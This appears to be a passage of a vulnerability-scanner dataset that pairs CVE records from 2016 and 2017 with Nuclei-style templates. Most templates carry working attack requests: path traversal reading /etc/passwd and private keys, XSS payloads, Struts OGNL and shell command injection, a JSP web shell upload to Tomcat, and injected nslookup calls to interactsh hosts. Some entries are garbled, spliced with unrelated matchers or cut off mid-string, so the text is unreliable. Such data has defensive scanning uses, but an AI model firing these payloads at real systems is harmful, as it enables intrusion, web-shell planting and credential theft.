${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)\\nConnection: close\\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\\nAccept: */*\\nContent-Length: 56\\nContent-Type: application/x-www-form-urlencoded\\n\\nwp-submit=Get+New+Password&redirect_to=&user_login={{username}}\\n\\n']}]"], ["CVE-2016-2389", "Directory traversal vulnerability in the GetFileList function in the SAP Manufacturing Integration and Intelligence (xMII) component 15.0 for SAP NetWeaver 7.4 allows remote attackers to read arbitrary files via a .. (dot dot) in the Path parameter to /Catalog, aka SAP Security Note 2230978.", 577, [], 7.5, " cpe:2.3:a:sap:netweaver:7.40", "[{'matchers-condition': 'and', 'matchers': [{'regex': ['root:.*:0:0'], 'type': 'regex'}, {'status': [200], 'type': 'status'}], 'path': ['{{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd'], 'method': 'GET'}]"], ["CVE-2016-10368", "Open redirect vulnerability in Opsview Monitor Pro (Prior to 5.1.0.162300841 prior to 5.0.2.27475, prior to 4.6.4.162391051, and 4.5.x without a certain 2016 security patch) allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via the back parameter to the login URI.\n", 1435, [], 6.1, " cpe:2.3:a:opsview:opsview:4.5.0", "[{'matchers-condition': 'and', 'raw': ['POST /login HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlogin_username={{username}}&login_password={{password}}&login=&back=//www.interact.sh&app=OPSVIEW\\n'], 'matchers': [{'type': 'regex', 'part': 'header', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?:\\\\/\\\\/|\\\\/\\\\/|\\\\/\\\\\\\\\\\\\\\\|\\\\/\\\\\\\\)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)interact\\\\.sh\\\\/?(\\\\/|[^.].*)?$']}, {'type': 'status', 'status': [302]}]}]"], ["CVE-2016-1000127", "Reflected XSS in wordpress plugin ajax-random-post v2.00", 480, [], 6.1, " cpe:2.3:a:ajax-random-post project:ajax-random-post", "[{'path': ['{{BaseURL}}/wp-content/plugins/ajax-random-post/js.php?interval=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers': [{'type': 'word', 'part': 'body', 'words': ['']}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'method': 'GET', 'matchers-condition': 'and'}]"], ["CVE-2016-10367", "The unauthenticated Directory Traversal vulnerability can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass", 1307, [], 7.5, " cpe:2.3:a:opsview:opsview:4.5.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'], 'matchers-condition': 'and', 'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0']}, {'type': 'status', 'status': [404]}]}]"], ["CVE-2016-1000141", "Reflected XSS in wordpress plugin page-layout-builder v1.9.3", 702, [], 6.1, " cpe:2.3:a:page-layout-builder project:page-layout-builder", "[{'path': ['{{BaseURL}}/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'method': 'GET', 'matchers': [{'type': 'word', 'part': 'body', 'words': ['']}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and'}]"], ["CVE-2016-1000129", "Reflected XSS in wordpress plugin defa-online-image-protector v3.3", 460, [], 6.1, " cpe:2.3:a:defa-online-image-protector project:defa-online-image-protector", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/defa-online-image-protector/redirect.php?r=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-1000137", "Hero Maps Pro 2.1.0 - Reflected Cross-Site Scripting (XSS)", 499, [], 6.1, " cpe:2.3:a:hero-maps-pro project:hero-maps-pro", "[{'matchers-condition': 'and', 'path': ['{{BaseURL}}/wp-content/plugins/hero-maps-pro/views/dashboard/index.php?v=%22%3E%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'method': 'GET', 'matchers': [{'part': 'body', 'type': 'word', 'words': ['']}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2016-7552", "On the Trend Micro Threat Discovery Appliance 2.6.1062r1, directory traversal when processing a session_id cookie allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.", 23, [], 9.8, " cpe:2.3:a:trendmicro:threat discovery appliance:2.6.1062:r1", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['Memory map'], 'type': 'word', 'part': 'body'}], 'path': ['{{BaseURL}}/cgi-bin/logoff.cgi'], 'headers': {'Cookie': 'session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf'}, 'matchers-condition': 'and'}]"], ["CVE-2016-1000135", "Reflected XSS in wordpress plugin hdw-tube v1.2", 455, [], 6.1, " cpe:2.3:a:hdw-tube project:hdw-tube", "[{'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/hdw-tube/mychannel.php?channel=%22%3E%3Cscript%3E%28123%29%3B%3C%2Fscript%3E%3C%22']}]"], ["CVE-2016-5649", "Vulnerability exists within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. Attacker can use this password to gain administrator access of the targeted routers web interface.", 380, [], 9.8, " cpe:2.3:o:netgear:dgn2200 firmware:1.0.0.50 7.0.50", "[{'matchers': [{'status': [200], 'type': 'status'}, {'words': ['Smart Wizard Result '], 'type': 'word', 'part': 'body'}], 'raw': ['GET /BSW_cxttongr.htm HTTP/1.1\\nHost: {{Hostname}}\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\\n'], 'extractors': [{'group': 1, 'type': 'regex', 'name': 'password', 'part': 'body', 'regex': ['Success \"([a-z]+)\"']}], 'matchers-condition': 'and'}]"], ["CVE-2016-6601", "Directory traversal vulnerability in the file download functionality in ZOHO WebNMS Framework 5.2 and 5.2 SP1 allows remote attackers to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile", 1397, [], 7.5, " cpe:2.3:a:zohocorp:webnms framework:5.2", "[{'method': 'GET', 'matchers-condition': 'and', 'path': ['{{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd'], 'matchers': [{'type': 'regex', 'regex': ['root:.*:0:0']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-7921", "An Improper Authentication issue was discovered in Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.", 47, [], 10.0, " cpe:2.3:o:hikvision:ds-2cd2032-i firmware:-", "[{'method': 'GET', 'matchers': [{'words': [''], 'type': 'word', 'part': 'body'}, {'words': ['application/xml'], 'type': 'word', 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK']}]"], ["CVE-2017-18518", "The bws-smtp plugin before 1.1.0 for WordPress has multiple XSS issues.\n", 2079, [], 6.1, " cpe:2.3:a:bestwebsoft:smtp", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"SMTP by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/bws-smtp/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-14135", "enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py in the webadmin plugin for opendreambox 2.0.0 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI", 967, [], 9.8, " cpe:2.3:a:dreambox:opendreambox:2.0", "[{'raw': ['GET /webadmin/script?command=|%20nslookup%20{{interactsh-url}} HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': ['/bin/sh', '/usr/script'], 'part': 'body', 'condition': 'and'}, {'type': 'word', 'words': ['dns'], 'part': 'interactsh_protocol'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-7391", "A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.", 40, [], 6.1, " cpe:2.3:a:magmi project:magmi:0.7.22", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['\"><'], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3E(document.domain);%3C/script%3E%3C']}]"], ["CVE-2017-9506", "The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).", 43, [], 6.1, " cpe:2.3:a:atlassian:oauth:1.3.0", "[{'matchers': [{'words': ['http'], 'type': 'word', 'part': 'interactsh_protocol'}], 'raw': ['GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1\\nHost: {{Hostname}}\\nOrigin: {{BaseURL}}\\nConnection: close\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\\nAccept-Language: en-US,en;q=0.9\\n']}]"], ["CVE-2017-12637", "Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.", 50, [], 7.5, " cpe:2.3:a:sap:netweaver:7.50", "[{'method': 'GET', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['WEB-INF', 'META-INF'], 'condition': 'and', 'type': 'word', 'part': 'body'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/..']}]"], ["CVE-2017-16894", "Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.\n", 1576, [], 7.5, " cpe:2.3:a:laravel:laravel", "[{'path': ['{{BaseURL}}/.env'], 'matchers': [{'part': 'body', 'type': 'word', 'words': ['APP_NAME=', 'APP_DEBUG=', 'DB_PASSWORD='], 'condition': 'and'}, {'part': 'header', 'type': 'word', 'words': ['application/octet-stream']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'method': 'GET'}]"], ["CVE-2017-14535", "Trixbox - 2.8.0.4 OS Command Injection Vulnerability", 328, [], 8.8, " cpe:2.3:a:netfortris:trixbox:2.8.0.4", "[{'matchers-condition': 'and', 'raw': ['GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1\\nHost: {{Hostname}}\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\\nAccept-Language: de,en-US;q=0.7,en;q=0.3\\nAuthorization: Basic bWFpbnQ6cGFzc3dvcmQ=\\nConnection: close\\nCache-Control: max-age=0\\n'], 'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0']}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-10974", "Yaws 1.91 allows Unauthenticated Remote File Disclosure via HTTP Directory Traversal with /%5C../ to port 8080", 874, [], 7.5, " cpe:2.3:a:yaws:yaws:1.91", "[{'method': 'GET', 'path': ['{{BaseURL}}/%5C../ssl/yaws-key.pem'], 'matchers': [{'words': ['BEGIN RSA PRIVATE KEY'], 'type': 'word'}, {'type': 'status', 'status': [200]}, {'dsl': ['!contains(tolower(body), \"\\\\\">All\")', 'contains(body_3, \"PDF & Print by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/pdf-print/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-11586", "dayrui FineCms 5.0.9 has URL Redirector Abuse via the url parameter in a sync action.\n", 1382, [], 6.1, " cpe:2.3:a:finecms:finecms", "[{'cookie-reuse': True, 'raw': ['POST /index.php?s=member&c=login&m=index HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\\n\\nback=&data%5Busername%5D={{username}}&data%5Bpassword%5D={{password}}&data%5Bauto%5D=1\\n', 'GET /index.php?c=weixin&m=sync&url=http://interact.sh HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers': [{'part': 'header', 'regex': ['Refresh:(.*)url=http:\\\\/\\\\/interact\\\\.sh'], 'type': 'regex'}]}]"], ["CVE-2017-16806", "Ulterius Server < 1.9.5.0 - Directory Traversal", 384, [], 7.5, " cpe:2.3:a:ulterius:ulterius server:1.5.6.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini', '{{BaseURL}}/.../.../.../.../.../.../.../.../.../etc/passwd'], 'matchers-condition': 'and', 'matchers': [{'status': [200], 'type': 'status'}, {'part': 'body', 'regex': ['root:[x*]:0:0:', '\\\\[(font|extension|file)s\\\\]'], 'conditon': 'or', 'type': 'regex'}]}]"], ["CVE-2017-18537", "The visitors-online plugin before 1.0.0 for WordPress has multiple XSS issues.\n", 2070, [], 6.1, " cpe:2.3:a:bestwebsoft:visitors online", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Visitors Online by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/visitors-online/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18564", "The sender plugin before 1.2.1 for WordPress has multiple XSS issues.\n", 2072, [], 6.1, " cpe:2.3:a:bestwebsoft:sender", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Sender by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/sender/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-12615", "By design, you are not allowed to upload JSP files via the PUT method on the Apache Tomcat servers.\nThis is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server.\nHowever, due to the insufficient checks, an attacker could gain remote code execution on 7.0.{0 to 79}\nTomcat servers that has enabled PUT by requesting PUT method on the Tomcat server using a specially crafted HTTP request.\n", 39, [], 8.1, " cpe:2.3:a:apache:tomcat:7.0", "[{'method': 'PUT', 'path': ['{{BaseURL}}/poc.jsp/'], 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, 'body': '<%@ page import=\"java.util.*,java.io.*\"%>\\n<%\\nif (request.getParameter(\"cmd\") != null) {\\n out.println(\"Command: \" + request.getParameter(\"cmd\") + \"
\");\\n Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\\n OutputStream os = p.getOutputStream();\\n InputStream in = p.getInputStream();\\n DataInputStream dis = new DataInputStream(in);\\n String disr = dis.readLine();\\n while ( disr != null ) {\\n out.println(disr);\\n disr = dis.readLine();\\n }\\n }\\n%>\\n'}, {'method': 'GET', 'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0'], 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd']}]"], ["CVE-2017-5521", "An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices.They are prone to password disclosure via simple crafted requests to the web management server.", 36, [], 8.1, " cpe:2.3:o:netgear:r6200 firmware:1.0.1.56 1.0.43", "[{'method': 'GET', 'matchers': [{'words': ['right\">Router\\\\s*Admin\\\\s*Username<', 'right\">Router\\\\s*Admin\\\\s*Password<'], 'condition': 'and', 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/passwordrecovered.cgi?id=nuclei']}]"], ["CVE-2017-5638", "Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker\u2019s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.", 29, [], 9.8, " cpe:2.3:a:apache:struts", "[{'matchers': [{'words': ['X-Hacker: Bounty Plz'], 'type': 'word', 'part': 'header'}], 'raw': [\"GET / HTTP/1.1\\nHost: {{Hostname}}\\nAccept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1\\nAccept-Language: en\\nContent-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data\\nConnection: Keep-Alive\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)\\nPragma: no-cache\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\\n\"]}]"], ["CVE-2017-14651", "WSO2 Data Analytics Server 3.1.0 has XSS in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.", 574, [], 4.8, " cpe:2.3:a:wso2:api manager:2.1.0", "[{'matchers': [{'type': 'word', 'words': ['', 'Failed to add new collection'], 'part': 'body', 'condition': 'and'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}], 'method': 'GET', 'path': ['{{BaseURL}}/carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=(document.domain)%3E&parentPath=%3Cimg%20src=x%20onerror=(document.domain)%3E'], 'matchers-condition': 'and'}]"], ["CVE-2017-3528", "Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect", 326, [], 5.4, " cpe:2.3:a:oracle:applications framework:12.1.3", "[{'method': 'GET', 'matchers': [{'words': ['noresize src=\"/\\\\example.com?configName='], 'part': 'body', 'type': 'word'}], 'path': ['{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com']}]"], ["CVE-2017-9841", "Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a \"'], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-3133", "A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN.\n", 2678, [], 6.1, " cpe:2.3:o:fortinet:fortios", "[{'matchers-condition': 'and', 'matchers': [{'words': [''], 'type': 'word', 'part': 'body_3'}, {'words': ['text/html'], 'type': 'word', 'part': 'header_3'}, {'type': 'status', 'status': [200]}], 'raw': ['POST /logincheck HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: text/plain;charset=UTF-8\\n\\najax=1&username={{username}}&secretkey={{password}}\\n', 'POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\\nX-CSRFTOKEN: {{csrf}}\\nDNT: 1\\n\\ncsrfmiddlewaretoken={{csrf}}&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3E(document.domain)%3C%2Fscript%3E%0A\\n', 'GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\\nX-CSRFTOKEN: {{csrf}}\\n'], 'extractors': [{'type': 'regex', 'name': 'csrf', 'part': 'header', 'group': 2, 'internal': True, 'regex': ['ccsrftoken_([0-9_a-z]+)=\"([A-Z0-9]+)\";']}]}]"], ["CVE-2017-4011", "McAfee Network Data Loss Prevention (NDLP) 9.3.x allows remote attackers to get session/cookie information via modification of the HTTP request.", 623, [], 6.1, " cpe:2.3:a:mcafee:network data loss prevention", "[{'path': ['{{BaseURL}}'], 'method': 'GET', 'matchers-condition': 'and', 'headers': {'User-Agent': \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';(/XSS/);//\"}, 'matchers': [{'part': 'body', 'words': [\"var ua='Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1';(/XSS/);//\"], 'type': 'word'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}]}]"], ["CVE-2017-12611", "In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.", 27, [], 9.8, " cpe:2.3:a:apache:struts:2.0.1", "[{'method': 'POST', 'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0']}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D']}]"], ["CVE-2017-17562", "Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.", 33, [], 8.1, " cpe:2.3:a:embedthis:goahead", "[{'payloads': {'endpoint': ['admin', 'apply', 'non-CA-rev', 'cgitest', 'checkCookie', 'check_user', 'chn/liveView', 'cht/liveView', 'cnswebserver', 'config', 'configure/set_link_neg', 'configure/swports_adjust', 'eng/liveView', 'firmware', 'getCheckCode', 'get_status', 'getmac', 'getparam', 'guest/Login', 'home', 'htmlmgr', 'index', 'index/login', 'jscript', 'kvm', 'liveView', 'login', 'login.asp', 'login/login', 'login/login-page', 'login_mgr', 'luci', 'main', 'main-cgi', 'manage/login', 'menu', 'mlogin', 'netbinary', 'nobody/Captcha', 'nobody/VerifyCode', 'normal_userLogin', 'otgw', 'page', 'rulectl', 'service', 'set_new_config', 'sl_webviewer', 'ssi', 'status', 'sysconf', 'systemutil', 't/out', 'top', 'unauth', 'upload', 'variable', 'wanstatu', 'webcm', 'webmain', 'webproc', 'webscr', 'webviewLogin', 'webviewLogin_m64', 'webviewer', 'welcome']}, 'raw': ['GET /cgi-bin/\u00a7endpoint\u00a7?LD_DEBUG=help HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\\nAccept: */*\\nConnection: close\\n'], 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['environment variable', 'display library search paths'], 'condition': 'and', 'type': 'word'}], 'attack': 'sniper', 'matchers-condition': 'and'}]"], ["CVE-2017-14524", "OpenText Documentum Administrator 7.2.0180.0055 is susceptible to multiple open redirect vulnerabilities. An attacker can redirect a user to a malicious site and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.\n", 1571, [], 6.1, " cpe:2.3:a:opentext:documentum administrator:7.2.0180.0055", "[{'path': ['{{BaseURL}}/xda/help/en/default.htm?startat=//oast.me'], 'matchers': [{'part': 'header', 'type': 'regex', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\\\-_]*\\\\.)?oast\\\\.me(?:\\\\s*?)$']}], 'method': 'GET'}]"], ["CVE-2017-18496", "The htaccess plugin before 1.7.6 for WordPress has multiple XSS issues.\n", 2055, [], 6.1, " cpe:2.3:a:bestwebsoft:htaccess", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Htaccess by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/htaccess/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-3132", "A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to Execute unauthorized code or commands via the action input during the activation of a FortiToken.\n", 2682, [], 6.1, " cpe:2.3:o:fortinet:fortios", "[{'matchers': [{'part': 'body', 'words': [\"var action = '\\\\\">All\")', 'contains(body_3, \"Twitter Button by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/twitter-plugin/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-9822", "DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected to deserialization vulnerability that leads to Remote Code Execution (RCE)", 375, [], 8.8, " cpe:2.3:a:dnnsoftware:dotnetnuke", "[{'matchers-condition': 'and', 'raw': ['GET /__ HTTP/1.1\\nHost: {{Hostname}}\\nUser-Agent: Mozilla/5.0 